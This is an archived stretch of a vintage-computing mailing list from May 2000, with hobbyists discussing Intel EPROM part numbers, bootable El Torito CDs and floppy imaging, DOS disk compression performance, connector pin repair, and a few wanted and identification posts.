<20000525010125.32524.qmail@brouhaha.com> <006d01bfc5eb$41ee83c0$0400c0a8@winbook> Message-ID: <20000525020818.510.qmail@brouhaha.com> "Richard Erlacher" wrote: > Eric, I hope I'm not crazy . . . My recollection of the Intel 8748 board, > for which series I recall Intel cooked up the 87xx part numbers, had > silkscreened on it "It's a 5-Volt world" though they didn't use 5-volt-to > whatever they wanted to use for RS232 converters. The memories didn't see > any power supply other than +5. True of things like the 8755, which was introduced at about the same time. But the 8708 was from a few years earlier, and was definitely marketed as an EPROM for use with the 8080. I don't have any pre-1980 Data Catalogs handy, but I'm 99.99% certain that the 8708 was just a different designation for the 2708, just as the 8102 is a 2102, and the 8205 is a 3205. From elvey at hal.com Wed May 24 22:05:14 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions In-Reply-To: <20000525010125.32524.qmail@brouhaha.com> Message-ID: <200005250305.UAA20103@civic.hal.com> Eric Smith wrote: > "Richard Erlacher" wrote: > > I didn't realize that Intel made any 2508's. > > I don't think they did. That was TI's part number for the 5V 1K*8 EPROM. > > Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel > 2758 is a half-bad 2716, but my fuzzy recollection from that era was that > the ones I looked at had substantially different die sizes. Hi I don't think that die size meant much. I was working for Intel at the time these came out ( not in memory department ) and they were making die size changes on regular basis. It seemed like every 3 or 4 months, we'd look into the windows and see a smaller die for the same labled part. They may have made a 1Kx8 part but I never saw one. The ones I saw were always 2716 chips. I think later on, they were not even separating out the half bad parts, they were just using good die from the 2716 line because of the extra cost of handling and the higher yield. I think you'll still find that the extra address line was to be tied to one level even though they didn't have the Hi/Lo select that the earlier ones did. Dwight From elvey at hal.com Wed May 24 22:06:29 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions In-Reply-To: <20000525015630.447.qmail@brouhaha.com> Message-ID: <200005250306.UAA20176@civic.hal.com> Eric Smith wrote: > > According to the 1980 Component Data Catalog, the specifications for > the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all > the graphs. Hi Not surprised! Typical Intel tricks. Dwight From SUPRDAVE at aol.com Wed May 24 22:13:24 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? Message-ID: <31.58ae1a4.265df454@aol.com> In a message dated 5/24/00 10:05:16 PM Eastern Daylight Time, richard@idcomm.com writes: > I've never encountered that version 6.3. I've got a few sets of install > disketted for DOS 6.21, which was made up for DELL, specifically without the > compression support in it or among its utilities. I, havning spent much > time testing the more popular compression schemes, am an avid user of > compression. I've found it to be no more problem-prone than plain-vanilla > DOS, yet the maintenance tools (scandisk) seem to work better on compressed > volumes than on uncompressed. Compression does seem to enhance disk > subsystem preformance. If you have a solid backup regimen, you should never > have to worry about data loss just because you use compression. I found > that DRVSPACE yielded about a 15% performance increase and had no added risk > of system failure. I also found that the risk of data loss was actually > lower (based on my substantial but still relatively small data sample) than > that with uncompressed data, probably due to the more effective error > management tools. > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the editor. how in the world can one realise 15% performance increase running disk compression? logic would indicate a degradation since you are running an extra task to compress the hard drive not to mention less memory space in the UMBs to load the compression driver high. i do not use any sort of disk compression and never recommend it to anyone. i supported end users, and there were too many times when users compressed their hard drives, and ended up hosing them. only option to them was fdisk and reinstall. K.I.S.S. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From allisonp at world.std.com Wed May 24 21:41:06 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions Message-ID: <003e01bfc5f4$2b5b2970$7564c0d0@ajp166> >.. very close. Apparently there was a process difference. >> Though intel did at times morph one part/process into another. > >According to the 1980 Component Data Catalog, the specifications for >the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all >the graphs. By 1980 intel was shifting to mos/Hmos/HmosII and by then those parts were way down the the process scaling and 32xx were nearly extinct. In 76, that was not the case. Keep in mind my comment that intel did morph parts into one another. Allison From allisonp at world.std.com Wed May 24 21:47:16 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions Message-ID: <004001bfc5f4$2cc6c760$7564c0d0@ajp166> - > I was talking about Intel's 5 volt '08. They may have been >called 2758 or 2508, I don't recall. As far as I know, >Intel never specifically made a 5 volt 1Kx8 EPROM die, only >the 2Kx8. TI was first out with a single rail '08 and was Yes they did. early 2758 was half good 2716. Later it was small die 1k as there was market demand. >doing in the 2708 sales from Intel. That is when Intel started >relabling the half bad 2716's( Yes, I know that the pinout are the 2708 was a different pinout from the 2716. >to do with what we were talking about? ). Early on these half >bad parts were cheaper than 2716's but later in their life, >they were list as being more expensive. EBayism struck, later they were nearly out of production and Rare. But the products that needed them lived on. hance the high price near end of life. Allison >Dwight >\ From allisonp at world.std.com Wed May 24 21:44:07 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions Message-ID: <003f01bfc5f4$2c18ad10$7564c0d0@ajp166> --->Intel's 5V 1K*8 part was the 2758. Other posts have claimed that an Intel >2758 is a half-bad 2716, but my fuzzy recollection from that era was that >the ones I looked at had substantially different die sizes. For half-bad >parts Intel usually added a suffix to the part number to denote which half >was bad, and I didn't see such a designation on any of the 2758s I used. I have samples of both with the same PN large die half bad and small die 1k part. >> My sense is that they called their 5-volt parts 8708's. > >Nope, that required the same supplies as the 2708, since it was >really the same part. Both right, same part. Different catalongs and different years. >Because there *wasn't* an industry standard on the 2K*8 EPROM at the time >when TI and Intel both announced their parts. I think Intel's move to >the single 5V supply caught TI completely by surprise. That and TI cpu of the time (TI9900) was three voltage so any system was likely to have the needed voltages. What caught TI off guard is the industry desire for single voltage. Allison From cem14 at cornell.edu Wed May 24 23:21:12 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? In-Reply-To: References: <005401bfc5e2$e298aac0$0400c0a8@winbook> Message-ID: <3.0.2.32.20000525002112.010fcb38@postoffice3.mail.cornell.edu> At 08:47 PM 5/24/00 -0500, you wrote: >On Wed, 24 May 2000, Richard Erlacher wrote: >> If your motherboad is modern enough, it should support bootable CD's, but I >> don't know what the appropriate spec for a bootable CD would be. I do >> recall that ISO9660 or whatever it was is NOT the right format. IIRC, it >> had a name that sounded like it belonged on the Taco Bell menu. I got out > >"High Sierra"??? El Torito. The origin? beats me. From richard at idcomm.com Wed May 24 23:30:44 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? References: <31.58ae1a4.265df454@aol.com> Message-ID: <009801bfc601$ff96c0c0$0400c0a8@winbook> ----- Original Message ----- From: To: Sent: Wednesday, May 24, 2000 9:13 PM Subject: Re: Bootable Floppy from CD? > In a message dated 5/24/00 10:05:16 PM Eastern Daylight Time, > richard@idcomm.com writes: > > DOS, yet the maintenance tools (scandisk) seem to work better on compressed > > volumes than on uncompressed. Compression does seem to enhance disk > > subsystem preformance. If you have a solid backup regimen, you should > never > > have to worry about data loss just because you use compression. I found > > that DRVSPACE yielded about a 15% performance increase and had no added > risk > > of system failure. I also found that the risk of data loss was actually > > lower (based on my substantial but still relatively small data sample) > than > > that with uncompressed data, probably due to the more effective error > > management tools. > > > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > editor. how in the world can one realise 15% performance increase running > disk compression? logic would indicate a degradation since you are running an > extra task to compress the hard drive not to mention less memory space in the > UMBs to load the compression driver high. i do not use any sort of disk > compression and never recommend it to anyone. i supported end users, and > there were too many times when users compressed their hard drives, and ended > up hosing them. only option to them was fdisk and reinstall. K.I.S.S. > > DB Young ICQ: 29427634 > > hurry, hurry, step right up! see the computers you used as a kid! > http://members.aol.com/suprdave/classiccmp/museum.htm > > The way in which the disk subsystem produces a performance increase is quite simple. With nominal 2x (just to make the numbers easy) compression, the platter holds 2x as much data, which means that on average, a given track holds twice the data, hence, there are half as many seeks required in transfer of a given amount of data. A seek even for one cylinder, takes milliseconds, not the relatively few microseconds required to decompress a buffer full of data, which the system does on the fly. So, if you have to transfer 512KB of data, once, you won't see much difference, but if you have to execute a task which requires you to look at, say, 20 MB of data, over the course of which you have to make 40 average seeks when you're operating without compression, you'd ostensibly have to make half as many seeks because, in reality when you move 20 MB of compressed data, you really have to move only 10 MB of data, and, on average that will require half as many seeks. If an average seek for your drive is, say 8 ms, which is a reasonably fast drive, then instead of 320 milliseconds, you'll only use 160 for 20 average seeks, and, by the way, the time used to move that data is negligible next to the time, orders of magnitude more, that is used moving the heads and waiting for the platter to rotate in to the appropriate position. Today's processors are many hundreds if not a few thousands of times faster than the mechanical system on your disk drives. Moving the heads takes time in the milliseconds, i.e. thousands of microseconds, while the decompression algorithm is done by the otherwise idle processor (remember what software we're using !) that's executing instructions in a few tens of nanoseconds. The CPU works in parallel with the intelligence on the drive to accomplish the decompression. It's still idle or waiting for the drive 90% of the time. You're right in that it makes for more complex I/O and file management code, but it's just a drop in the bucket, and it's a drop that increases the rotating memory subsystem performance significantly. Dick From richard at idcomm.com Wed May 24 23:34:37 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions References: <003e01bfc5f4$2b5b2970$7564c0d0@ajp166> Message-ID: <00a201bfc602$89313180$0400c0a8@winbook> You're right about the PMOS=> NMOS=>HMOS=>CMOS shifts in technology, but I'd be surprised to learn that the 3000 series parts as well as the 82xx bipolar parts weren't manufactured by NS, MMI, or TI. Dick ----- Original Message ----- From: allisonp To: Sent: Wednesday, May 24, 2000 8:41 PM Subject: Re: Altair parts substitutions > > >.. very close. Apparently there was a process difference. > >> Though intel did at times morph one part/process into another. > > > >According to the 1980 Component Data Catalog, the specifications for > >the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all > >the graphs. > > > By 1980 intel was shifting to mos/Hmos/HmosII and by then those > parts were way down the the process scaling and 32xx were nearly > extinct. In 76, that was not the case. Keep in mind my comment that > intel did morph parts into one another. > > Allison > > From jimw at agora.rdrop.com Wed May 24 23:46:59 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:58 2005 Subject: Wanted: Apple Power Macintosh Message-ID: <3.0.3.32.20000524214659.009b0190@agora.rdrop.com> Ok, perhaps not quite falling into the '10 year' rule... but this seemed as good a place to start as any. I need a Mac capable of running Internet Exploder for a project, which means some level of "PowerMAC"... A low to mid level unit would do, probably something along the line of a 7100 or 8100. The AV model would be nice, but not required... So, anyone have a unit like this that they would part with? If so, please drop me a note with asking price and or possible trades. Thanks; -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From wilson at dbit.dbit.com Wed May 24 23:52:07 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? In-Reply-To: <31.58ae1a4.265df454@aol.com>; from SUPRDAVE@aol.com on Wed, May 24, 2000 at 11:13:24PM -0400 References: <31.58ae1a4.265df454@aol.com> Message-ID: <20000525005207.A29409@dbit.dbit.com> On Wed, May 24, 2000 at 11:13:24PM -0400, SUPRDAVE@aol.com wrote: > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > editor. how in the world can one realise 15% performance increase running > disk compression? logic would indicate a degradation since you are running an > extra task to compress the hard drive not to mention less memory space in the > UMBs to load the compression driver high. I have trouble buying this too, but if the CPU and disk drive speed are totally out of whack with one another, the disk could be so slow that the CPU can inflate N KB of data to 2*N KB faster than the disk can read 2*N KB of uncompressed data. Anyway IBM is still in the DOS business, and I gotta respect them just for that! The latest flavor I know of is "PC DOS 2000", nice to see some recent work being done, even if they re-used the previous documentation (it's a PC DOS 7 manual with a sticker on the front that says PC DOS 2000). John Wilson D Bit From richard at idcomm.com Wed May 24 23:55:41 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? References: <31.58ae1a4.265df454@aol.com> <20000525005207.A29409@dbit.dbit.com> Message-ID: <00b201bfc605$7aec35e0$0400c0a8@winbook> So, does this PCDOS 2000 have any useful characteristics that MSDOS lacks? Dick ----- Original Message ----- From: John Wilson To: Sent: Wednesday, May 24, 2000 10:52 PM Subject: Re: Bootable Floppy from CD? > On Wed, May 24, 2000 at 11:13:24PM -0400, SUPRDAVE@aol.com wrote: > > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > > editor. how in the world can one realise 15% performance increase running > > disk compression? logic would indicate a degradation since you are running an > > extra task to compress the hard drive not to mention less memory space in the > > UMBs to load the compression driver high. > > I have trouble buying this too, but if the CPU and disk drive speed are > totally out of whack with one another, the disk could be so slow that the > CPU can inflate N KB of data to 2*N KB faster than the disk can read 2*N KB > of uncompressed data. > > Anyway IBM is still in the DOS business, and I gotta respect them just > for that! The latest flavor I know of is "PC DOS 2000", nice to see some > recent work being done, even if they re-used the previous documentation > (it's a PC DOS 7 manual with a sticker on the front that says PC DOS 2000). > > John Wilson > D Bit > From whdawson at mlynk.com Thu May 25 00:18:11 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:58 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: Message-ID: <000001bfc608$9e9eaba0$9ae3dfd0@cobweb.net> -> > It appears to me that the motherboard socket that is missing -> > one pin will need to be replaced. Anybody have any recommendations on how -> > to best do this? The motherboard is a four layer board. I have -> > soldering/desoldering experience, but I've never tackled an item with this many pins -> > on a 4 layer board before. -> -> Assuming the old connector is worthless (or at least worth a lot less -> than the motherboard), I'd recommend breaking it up and removing it in -> sections. -> -> Sometimes you can cut away the plastic _carefully_ (you don't want to -> damage any tracks on the board). More often, if you heat the pin -> from the -> solder side of the board you can pull it out on the component side -- -> right out of the plastic housing (which will melt slightly from -> the heat). -> -> Once you've got all the pins out and the housing removed, then melt the -> solder in each hole with the iron from one side of the board and -> suck out -> the solder (with a solder sucker or 'Soldapulit' (IIRC)) from the other. -> Put the new connector in place and resolder it. -> -> If you can get a spare pin of the right size you _might_ be able to -> remove the broken pin only, clean out the solder from the 'back' of the -> board and put a new pin in place, leaving the rest of the pins (and -> connector housing) alone. I've done it a couple of times My thoughts exactly. Of course the broken one can't be grasped and pulled through if it is broken off flush with the connector, but it may be able to be heated and pushed through enough to nab. Barring that, I've used a sharp stainless steel pick the same diameter of the pins to push pins through enough to get a hold of them on the connector side. Just heat the pad and the pin (it help to apply a little extra solder), and once the pin is loose in the hole gently push the pin. Sometimes it also helps to trim the solder side of the pin flat so the pick won't slide off. Once the broken pin is out, remove one from another connector by pulling it out. A little heat may make the job easier if it is stubborn. Then, assuming the pin hole has been cleaned of solder, push in the replacement pin and resolder it. This is always much easier, IMHO, than replacing an entire connector for just one broken pin. Bill -> -> -tony -> From mranalog at home.com Thu May 25 02:12:58 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:52:58 2005 Subject: ASCII art Message-ID: <392CD27A.853F6C86@home.com> "McFadden, Mike" wrote: > Example: > picture value array 1 array2 array3 > 0 space space space > 1 period space space > 2 colon space space > 3 plus space space > . > . > . > 9 0 W M A couple of years ago, after reading the chapter on ASCII art in "The New RTTY Handbook", I wrote a quick and dirty program to to convert .BMP files into non-overstrike ASCII pictures I could send in emails. From the book, I created my levels of "gray" in 8 levels with this character array: M H I : " , . [SP] (from dark to light) I'm curious as to the rest of the characters in your arrays. Do you remember which characters you used? --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From pete at dunnington.u-net.com Thu May 25 03:18:05 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? In-Reply-To: Chuck McManis "Bootable Floppy from CD?" (May 24, 17:45) References: <392C779A.7663DB0C@mcmanis.com> Message-ID: <10005250918.ZM1450@indy.dunnington.u-net.com> On May 24, 17:45, Chuck McManis wrote: > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. As Roger pointed out, you're better to keep a boot floppy (or several varieties) -- it's more reliable. Bootable CDs require BIOS support which not all BIOSes have. On May 25, 0:56, Eric Smith wrote: > What I use on Linux to back up images of 1440K floppies is: > dd if=/dev/fd0 of=floppy.img bs=18k [...] > There's a DOS program called "rawrite" that can recreate floppies All true, and Chuck may find it useful to have several floppy images on a CD, but that won't make the CD bootable. An IDE CDROM doesn't look the same as an IDE hardrive, as far as the BIOS is concerned, so 'dd' from a bootable harddrive won't work. On Wed, 24 May 2000, Richard Erlacher wrote: > don't know what the appropriate spec for a bootable CD would be. I do > recall that ISO9660 or whatever it was is NOT the right format. If you want a bootable CD for a PC, you *do* make it ISO 9660 format but with an El Torito boot catalog addition (Carlos was right about the name). As far as I remember, what this actually does is make a CD that has an image of a boot floppy embedded within it, but if you really want to know how it works, look in Andy McFadden's CD-R FAQ, or check the standard at http://www.ptltd.com/techs/specs.html . The "bootableness" isn't a function of DOS, by the way; it's a function of the BIOS, and you would make a bootable Linux CD the same way. On May 24, 20:47, Charles P. Hobbs (SoCalTip) wrote: > "High Sierra"??? FYI, High Sierra is nothing to do with El Torito -- it's the name of the format system used prior to the ISO 9660 standard, and from which the ISO standard was derived. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Thu May 25 04:00:28 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:58 2005 Subject: Bootable Floppy from CD? In-Reply-To: pete@indy (Pete Turnbull) "Re: Bootable Floppy from CD?" (May 25, 8:18) References: <392C779A.7663DB0C@mcmanis.com> <10005250918.ZM1450@indy.dunnington.u-net.com> Message-ID: <10005251000.ZM1484@indy.dunnington.u-net.com> On May 25, 8:18, Pete Turnbull wrote: > If you want a bootable CD for a PC, you *do* make it ISO 9660 format but > with an El Torito boot catalog addition Idiot -- after all that, I forgot to say *how*. I think Adaptec's CD Creator software will do El Torito. However, if you have (access to) a Unix (Linux, Solaris, Irix, etc) system, the best way is to use 'mkisofs' to create the image and then 'cdrecord' or 'cdwrite' to write it. -- Pete Peter Turnbull Dept. of Computer Science University of York From pechter at pechter.dyndns.org Thu May 25 05:54:41 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:58 2005 Subject: PCDOS 2000 In-Reply-To: <20000525005207.A29409@dbit.dbit.com> from John Wilson at "May 25, 2000 00:52:07 am" Message-ID: <200005251054.GAA06131@bg-tc-ppp858.monmouth.com> > On Wed, May 24, 2000 at 11:13:24PM -0400, SUPRDAVE@aol.com wrote: > > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > > editor. how in the world can one realise 15% performance increase running > > disk compression? logic would indicate a degradation since you are running an > > extra task to compress the hard drive not to mention less memory space in the > > UMBs to load the compression driver high. > > I have trouble buying this too, but if the CPU and disk drive speed are > totally out of whack with one another, the disk could be so slow that the > CPU can inflate N KB of data to 2*N KB faster than the disk can read 2*N KB > of uncompressed data. > > Anyway IBM is still in the DOS business, and I gotta respect them just > for that! The latest flavor I know of is "PC DOS 2000", nice to see some > recent work being done, even if they re-used the previous documentation > (it's a PC DOS 7 manual with a sticker on the front that says PC DOS 2000). > > John Wilson > D Bit > > I think PCDOS 2000 would've just been PCDOS 7.1 if it wasn't for the y2k marketing fever. It's interesting that they've been using the Ramboost from Central Point Software in it years after CPS got swallowed and eradicated by Symantec. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From dhquebbeman at theestopinalgroup.com Thu May 25 07:43:54 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:58 2005 Subject: Wanted: Apple Power Macintosh Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD48@tegntserver.tegjeff.com> IE Exploder 4.5 for the Mac can install as PowerPC, 68k, or FAT (both). I just checked mine; it's a FAT app. hth, -dq > -----Original Message----- > From: James Willing [mailto:jimw@agora.rdrop.com] > Sent: Thursday, May 25, 2000 12:47 AM > To: classiccmp@classiccmp.org > Subject: Wanted: Apple Power Macintosh > > > Ok, perhaps not quite falling into the '10 year' rule... but > this seemed as > good a place to start as any. > > I need a Mac capable of running Internet Exploder for a project, which > means some level of "PowerMAC"... A low to mid level unit would do, > probably something along the line of a 7100 or 8100. The AV > model would be > nice, but not required... > > So, anyone have a unit like this that they would part with? > If so, please > drop me a note with asking price and or possible trades. > > Thanks; > -jim > > --- > jimw@computergarage.org > The Computer Garage - http://www.computergarage.org > Computer Garage Fax - (503) 646-0174 > From allisonp at world.std.com Thu May 25 08:09:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:58 2005 Subject: Altair parts substitutions In-Reply-To: <00a201bfc602$89313180$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > You're right about the PMOS=> NMOS=>HMOS=>CMOS shifts in technology, but > I'd be surprised to learn that the 3000 series parts as well as the 82xx > bipolar parts weren't manufactured by NS, MMI, or TI. > > Dick Exactly. Intel had bipolar fab but limited capability. Actually you forgot Signetics and likely others that were used as silicon foundaries. This is something that has always been commonplace in the industry. However no one ever supplied the 3000 two bit slice other than intel. Allison > ----- Original Message ----- > From: allisonp > To: > Sent: Wednesday, May 24, 2000 8:41 PM > Subject: Re: Altair parts substitutions > > > > > > >.. very close. Apparently there was a process difference. > > >> Though intel did at times morph one part/process into another. > > > > > >According to the 1980 Component Data Catalog, the specifications for > > >the 3205 (p. 2-22) and 8205 (p. 6-45) are identical. DC, AC, and all > > >the graphs. > > > > > > By 1980 intel was shifting to mos/Hmos/HmosII and by then those > > parts were way down the the process scaling and 32xx were nearly > > extinct. In 76, that was not the case. Keep in mind my comment that > > intel did morph parts into one another. > > > > Allison > > > > > From jfoust at threedee.com Thu May 25 09:40:54 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:00 2005 Subject: Wanted: Apple Power Macintosh In-Reply-To: <3.0.3.32.20000524214659.009b0190@agora.rdrop.com> Message-ID: <4.3.0.20000525093914.0233ea90@pc> At 09:46 PM 5/24/00 -0700, James Willing wrote: >So, anyone have a unit like this that they would part with? If so, please >drop me a note with asking price and or possible trades. A quick eBay search reveals that many, many are available, and depending on options and bundled hardware, they go for $50 to $200. I seem to remember similar models for $30 or so at the local university surplus sale, but some were stripped. - John From jfoust at threedee.com Thu May 25 10:02:46 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:07 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> Message-ID: <4.3.0.20000525095559.022d1600@pc> At 05:45 PM 5/24/00 -0700, Chuck McManis wrote: >In an effort to preserve all my miscellaneous driver floppies I've been >copying them to CD-rom. I figured I should also do this for my DOS 6.3 >disks but realized that I don't know how to create a bootable DOS 6.3 >system disk from the disk itself. I've considered using dd(1) on unix to >create just the disk image that I can later use dd to copy back out but >was wondering if perhaps there was a better way. People seem to have confused your request. I did not think you wanted a bootable CD. :-) The 'dd' approach has a few failings. One, it's not tolerant of bad sectors, right? Two, I think you'd need to be sure that your box's settings could handle all the old variations of disk capacity from the old days. Three, raw disk images aren't easily searchable and indexable in the same way as 'tar' or 'zip', but of course those formats wouldn't handle the boot sectors. After all, you'd want to find things after you archived them. I talk about a few of these issues on my page at http://www.threedee.com/jcm/diskutil/. - John From jfoust at threedee.com Thu May 25 10:03:05 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:07 2005 Subject: Bootable Floppy from CD? In-Reply-To: <3.0.2.32.20000525002112.010fcb38@postoffice3.mail.cornell. edu> References: <005401bfc5e2$e298aac0$0400c0a8@winbook> Message-ID: <4.3.0.20000525083956.02c6c210@pc> At 12:21 AM 5/25/00 -0400, Carlos Murillo wrote: > >"High Sierra"??? > >El Torito. >The origin? beats me. I think these formats were developed around the time of beta Win95, code-named "Chicago". Other projects were named after cities or puns of cities. I recall other CD formats of Romeo and Joliet (as in the city in Illinois) that allowed long-style Windows filenames on older ISO9660 discs. The Unix equivalent trick is Rock Ridge. Mapquest.com didn't find an El Torito city in the USA, though, so perhaps they named it after any number of Mexican restaurants. http://www.cdpage.com/Compact_Disc_Variations/variationsi.html is a good guide to all this. - John From mranalog at home.com Thu May 25 10:13:25 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:53:07 2005 Subject: Strange box Message-ID: <392D4315.1CDB0D59@home.com> ************** I'm sending this again because my first attempt went to classiccmp-classiccmp-org@jade.tseinc.com and was rejected. If you are receiving a second copy of this,ignore it. ************** Joe wrote: > I found this in a pile of surplus computers yesterday. Can anyone tell > me what it is? It looks like an ordinary external 5 1/4" drive box but on > the back of the box it has a DB-25M connector marked "MODEM/CPU" and a > DB-25F connector marked "TERMINAL". There's also a rotary switch labeled > "RATE" with positions marked "10", "30", "120", "240", "480", 960" and > "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" > "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and > "HALF". It has a socket for a standard AC line cord. It's made by Techtran > Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's > a disk drive that's made to go between a terminal and it's MODEM or > computer but I've never heard of one before. If that's what it is, then > how do you give it coomands? Joe, I don't think this is one of those file-system/data logger type drives,I have one of those and it has a keypad on the front of the drive you use to open a disk file before dumping serial data to it and to close the file when you're done. Instead, I think you have a CP/M computer. It sounds alot like my PMC 101 "MicroMate". http://www.best.com/~dcoward/ebay/micromat.jpg The MicroMate is about the same size as and looks like a TRS-80 Model 1 disk drive. On the back it has DB-25s for "Terminal" and "Modem". It weights only 10 pounds but when you open the case there is a DSDD 400K floppy drive, a power supply and a board that runs the length of the case, which is a 128K 4Mhz Z80A based CP/M computer. If this is the "case" - you'll need a boot disk. What is inside this box of yours? --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From korpela at albert.ssl.berkeley.edu Thu May 25 10:43:49 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:53:07 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> from Chuck McManis at "May 24, 2000 05:45:14 pm" Message-ID: <200005251543.IAA08546@islay.ssl.berkeley.edu> > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. Using dd or the equivalent is probably the best way. I generally zip the floppy contents (with appropriate flags to preserve hidden and system files and the volume label) and create a dd image if the disk is bootable. Eric From korpela at albert.ssl.berkeley.edu Thu May 25 11:00:12 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:53:07 2005 Subject: Bootable Floppy from CD? In-Reply-To: <31.58ae1a4.265df454@aol.com> from "SUPRDAVE@aol.com" at "May 24, 2000 11:13:24 pm" Message-ID: <200005251600.JAA08644@islay.ssl.berkeley.edu> > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > editor. how in the world can one realise 15% performance increase running > disk compression? logic would indicate a degradation since you are running an > extra task to compress the hard drive not to mention less memory space in the > UMBs to load the compression driver high. i do not use any sort of disk > compression and never recommend it to anyone. i supported end users, and > there were too many times when users compressed their hard drives, and ended > up hosing them. only option to them was fdisk and reinstall. K.I.S.S. As usual, with disk compression YMMV. It depends upon where the bottleneck is. The first system I used compressed volumes on (a long time back) had an XT bus running at half the processor speed that was lucky to get 250 kBps from the HD drives. It was so slow that the best interleave was 1 because it took an entire rotation to transfer one sector from the controller to memory. Compression besically doubled the I/O speed. A good (not smartdrive) write cache (with write delay set to the max) worked wonders as well. Even on my 386 machine compression turned out to be a performance boost in DOS and Windows. In the end, I don't think I lost any data to failure of a compressed drive. Stacker was pretty robust. Eric From elvey at hal.com Thu May 25 11:10:30 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:07 2005 Subject: Altair parts substitutions In-Reply-To: <20000525020818.510.qmail@brouhaha.com> Message-ID: <200005251610.JAA03726@civic.hal.com> Eric Smith wrote: > "Richard Erlacher" wrote: > > Eric, I hope I'm not crazy . . . My recollection of the Intel 8748 board, > > for which series I recall Intel cooked up the 87xx part numbers, had > > silkscreened on it "It's a 5-Volt world" though they didn't use 5-volt-to > > whatever they wanted to use for RS232 converters. The memories didn't see > > any power supply other than +5. > > True of things like the 8755, which was introduced at about the same time. > But the 8708 was from a few years earlier, and was definitely marketed as > an EPROM for use with the 8080. I don't have any pre-1980 Data Catalogs > handy, but I'm 99.99% certain that the 8708 was just a different designation > for the 2708, just as the 8102 is a 2102, and the 8205 is a 3205. Some times there were slight differences between family, similar names. There was a 4702 that had a 1 volt different rating on the negative rail as compared to the 1702. If one looks in many of the older Intel development systems, they may find what look like 